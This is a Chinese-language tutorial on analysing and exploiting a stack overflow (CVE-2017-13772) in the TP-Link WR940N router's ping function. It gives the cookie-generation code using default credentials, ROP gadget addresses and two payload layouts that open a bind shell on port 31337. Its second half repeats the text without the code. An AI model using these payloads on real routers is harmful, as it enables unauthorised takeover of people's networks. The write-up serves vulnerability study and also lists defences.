一步一步PWN路由器之wr940栈溢出漏洞分析与利用
字数 847 2025-08-22 12:22:24

TP-Link WR940N 路由器栈溢出漏洞分析与利用教学文档

漏洞概述

  • 漏洞编号: CVE-2017-13772
  • 影响设备: TP-Link WR940N V4 路由器
  • 漏洞类型: 栈溢出漏洞
  • 漏洞位置: 管理员Ping功能中的IP地址处理
  • 利用条件: 需要管理员凭证认证

漏洞分析

漏洞定位

  1. 通过搜索字符串"ping_addr"定位到关键函数sub_453C50
  2. IP地址字符串指针存储在$s6寄存器中
  3. 传入ipAddrDispose函数进行处理

漏洞成因

  1. 函数首先使用memset初始化缓冲区
  2. 然后使用strcpy将IP地址复制到栈上
  3. 未对输入长度进行验证,导致栈溢出

漏洞利用

利用准备

  1. 固件下载: TL-WR940N(US)_V4_160617固件
  2. 调试环境: 可通过SSH连接到路由器的调试服务

认证绕过

  1. 使用默认凭证admin:admin或已知凭证
  2. 认证过程生成base64编码的cookie:
    hash = hashlib.md5()
    hash.update(pwd)
    auth_string = "%s:%s" %(user, hash.hexdigest())
    encoded_string = base64.b64encode(auth_string)
    

两种利用方式

第一种利用方式 (PingIframeRpm.htm)

  1. 构造ROP链覆盖返回地址

  2. 关键ROP gadget:

    nop = "\x22\x51\x44\x44"
    gadg_1 = "\x2A\xB3\x7C\x60"  # 设置$a0 = 1, 并跳转到$s1
    gadg_2 = "\x2A\xB1\x78\x40"
    sleep_addr = "\x2a\xb3\x50\x90"
    stack_gadg = "\x2A\xAF\x84\xC0"
    call_code = "\x2A\xB2\xDC\xF0"
    
  3. 构造payload:

    rop = "A"*164 + gadg_2 + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
    rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
    

第二种利用方式 (WanStaticIpV6CfgRpm.htm)

  1. 覆盖更多寄存器:
    payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
    payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
    payload += stack_gadg + "A"*4 + nop*10 + shellcode + "B"*7
    

Shellcode分析

  1. 使用简单的XOR编码器绕过字符限制
  2. 绑定端口31337 (可修改为其他端口)
  3. 包含sleep系统调用刷新缓存
  4. 坏字符: 0x20, 0x00

完整利用步骤

  1. 登录路由器获取认证cookie:

    (next_url, encoded_string) = login("192.168.0.1", "admin", "admin")
    
  2. 发送利用请求:

    first_exploit(next_url, encoded_string)
    # 或
    second_exploit(next_url, encoded_string)
    
  3. 等待几秒后连接绑定的shell

  4. 完成后重置HTTP服务: http -r

防御措施

  1. 升级到最新固件版本
  2. 修改默认管理员密码
  3. 禁用不必要的管理功能
  4. 实施输入验证和长度检查

参考链接

注意事项

  1. 此漏洞利用需要认证凭证
  2. 利用成功后会在目标路由器上打开绑定shell
  3. 测试时建议在隔离环境中进行
  4. 实际利用前应充分测试payload的稳定性
TP-Link WR940N 路由器栈溢出漏洞分析与利用教学文档 漏洞概述 漏洞编号 : CVE-2017-13772 影响设备 : TP-Link WR940N V4 路由器 漏洞类型 : 栈溢出漏洞 漏洞位置 : 管理员Ping功能中的IP地址处理 利用条件 : 需要管理员凭证认证 漏洞分析 漏洞定位 通过搜索字符串"ping_ addr"定位到关键函数 sub_453C50 IP地址字符串指针存储在$s6寄存器中 传入 ipAddrDispose 函数进行处理 漏洞成因 函数首先使用 memset 初始化缓冲区 然后使用 strcpy 将IP地址复制到栈上 未对输入长度进行验证,导致栈溢出 漏洞利用 利用准备 固件下载 : TL-WR940N(US)_ V4_ 160617固件 调试环境 : 可通过SSH连接到路由器的调试服务 认证绕过 使用默认凭证admin:admin或已知凭证 认证过程生成base64编码的cookie: 两种利用方式 第一种利用方式 (PingIframeRpm.htm) 构造ROP链覆盖返回地址 关键ROP gadget: 构造payload: 第二种利用方式 (WanStaticIpV6CfgRpm.htm) 覆盖更多寄存器: Shellcode分析 使用简单的XOR编码器绕过字符限制 绑定端口31337 (可修改为其他端口) 包含sleep系统调用刷新缓存 坏字符: 0x20, 0x00 完整利用步骤 登录路由器获取认证cookie: 发送利用请求: 等待几秒后连接绑定的shell 完成后重置HTTP服务: http -r 防御措施 升级到最新固件版本 修改默认管理员密码 禁用不必要的管理功能 实施输入验证和长度检查 参考链接 Fidus Infosec漏洞分析 固件下载地址 注意事项 此漏洞利用需要认证凭证 利用成功后会在目标路由器上打开绑定shell 测试时建议在隔离环境中进行 实际利用前应充分测试payload的稳定性